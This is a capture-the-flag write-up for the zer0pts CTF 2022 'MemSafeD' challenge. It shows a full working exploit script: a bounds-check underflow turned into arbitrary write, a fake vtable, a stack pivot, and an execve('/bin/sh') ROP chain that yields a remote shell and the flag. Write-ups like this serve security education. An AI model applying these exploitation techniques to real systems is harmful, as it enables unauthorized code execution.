zer0pts CTF 2022 - MemSafeD

D language is similar to C in its syntax but much more secure than C.

nc pwn1.ctf.zer0pts.com 9002

Attachment: memsafed.tar.gz xpl.py

Team: Super HexaGoN

$ ./chall 
  o  o
 / __ \
 \|@@\/
  || \\
  ||_//
  |__/
  / \
  `o b
1. New
2. Show
3. Rename
4. Edit
5. Delete

When joining the ctf, Xion and procfs had already worked on that challenge and Xion already provided code for a PIE leak and pointed out, that by renaming a polygon to the same name will reset the polygon (setting the address of the vertex array to 0 and length also to 0).

That enables an arbitrary write in set_vertex, since index will now always be smaller than length-1 (overflow)

void set_vertex(ulong index, vertex v) {
  if (index > _vertices.length - 1)
    throw new Exception("Invalid index");

  _vertices[index] = v;
}

So, we have a PIE leak and an arbitrary write, but with that we can only write stuff in bss, so we need to find a way to get some kind of code execution and then pivot the stack into bss to do something more useful there.

Preparing PIE leak and an array for arb write

def exploit(r):
	r.recvuntil("> ")

	PIELEAK = leakpie()
	e.address = PIELEAK - 0xa1e5d

	log.info("PIE leak   : %s" % hex(PIELEAK))
	log.info("PIE        : %s" % hex(e.address))

	new("abc", 3, [[1,2],[2,3],[4,5]])
	rename("abc", "abc", "N")

As for getting initial code execution, we can overwrite the vtable of _D27TypeInfo_HAyaS4main7Polygon6__initZ to point to a fake vtable, which we can also put into bss

def edit(name, idx, vert):
	r.sendline("4")
	r.sendlineafter(": ", name)
	r.sendlineafter(": ", str(idx))
	r.sendlineafter("= ", "(%d,%d)" % (vert[0], vert[1]))
	r.recvuntil("> ")

def write(name, addr, value):
	edit(name, addr/8, [getval(value & 0xffffffff), getval(value>>32)])

# write vtable address
write("abc", e.address + 0x14c070+0x18, e.address + 0x152b50)

With a fake table on bss, we can achieve, that when we try to create a new polygon, it will call an arbitrary function defined by us, while passing that new polygon as parameter to it. Without knowing libc, there’s not too much we can do with that, so we’ll need to find a way to pivot the stack also into bss.

When the vtable function will be called, rcx will point to the vtable itself.

Searching for a way to pivot the stack, we overlooked the perfect gadget for that for quite some time :D

0x00000000000a459a: push rcx; or byte ptr [rax - 0x75], cl; pop rsp; and al, 8; add rsp, 0x18; ret;

This will push the vtable address onto the stack and then pop it into rsp, by which the stack now points to our vtable and then it’s even so nice to move it 0x18 bytes forward into a controllable area :)

ADDRSP18 = e.address +0x00000000000a0b7f
GOSTACK = e.address + 0x00000000000a3ae4

# write fake vtable
write("abc", e.address + 0x152b50, e.address + 0x152b50)
write("abc", e.address + 0x152b50+0x18, ADDRSP18)	
write("abc", e.address + 0x152b50+0x28, GOSTACK)

# write vtable address
write("abc", e.address + 0x14c070+0x18, e.address + 0x152b50)

Now creating a new polygon would try to use our fake vtable (at offset 0x152b50) and then call the GOSTACK gadget, which will set rsp to rcx, letting the stack point to our vtable and then move it forwards by 0x18 bytes. The stack would now point to the ADDRSP18 gadget, which again moves the stack 0x18 bytes forward out of our vtable, where we can now put our final ropchain.

# write ropchain
POPRDI = e.address + 0x000000000011f893
POPRSI15 = e.address + 0x000000000011f891
POPRDX = e.address + 0x0000000000107c56
SYSCALL = e.address + 0x00000000000d1ab1
POPRAX = e.address + 0x00000000000aa2cd

payload = p64(POPRDI)
payload += p64(e.address + 0x152bd8)
payload += p64(POPRSI15)
payload += p64(0)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(POPRAX)
payload += p64(59)
payload += p64(SYSCALL)
payload += "/bin/sh\x00"

for i in range(0, len(payload), 8):
  write("abc", e.address + 0x152b50+0x28+0x10+i, u64(payload[i:i+8]))
		
# trigger fake vtable to get into ropchain
new("3", 3, [[0,1], [0,2], [0,3]], False)

After this new will then trigger our system("/bin/sh") ropchain giving us a shell.

$ python work.py 1
[*] '/home/kileak/ctf/zero/memsafd/memsafedwp/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9002: Done
[*] PIE leak   : 0x55c25a799e5d
[*] PIE        : 0x55c25a6f8000
[*] Switching to interactive mode
$ ls
chall
flag-3f547eeb929a879dd4bdb69490a9abc4.txt
$ cat flag-3f547eeb929a879dd4bdb69490a9abc4.txt
zer0pts{1.Use_@trusted_escapes/2.Use_boundscheck=safeonly/3.Trust_GC}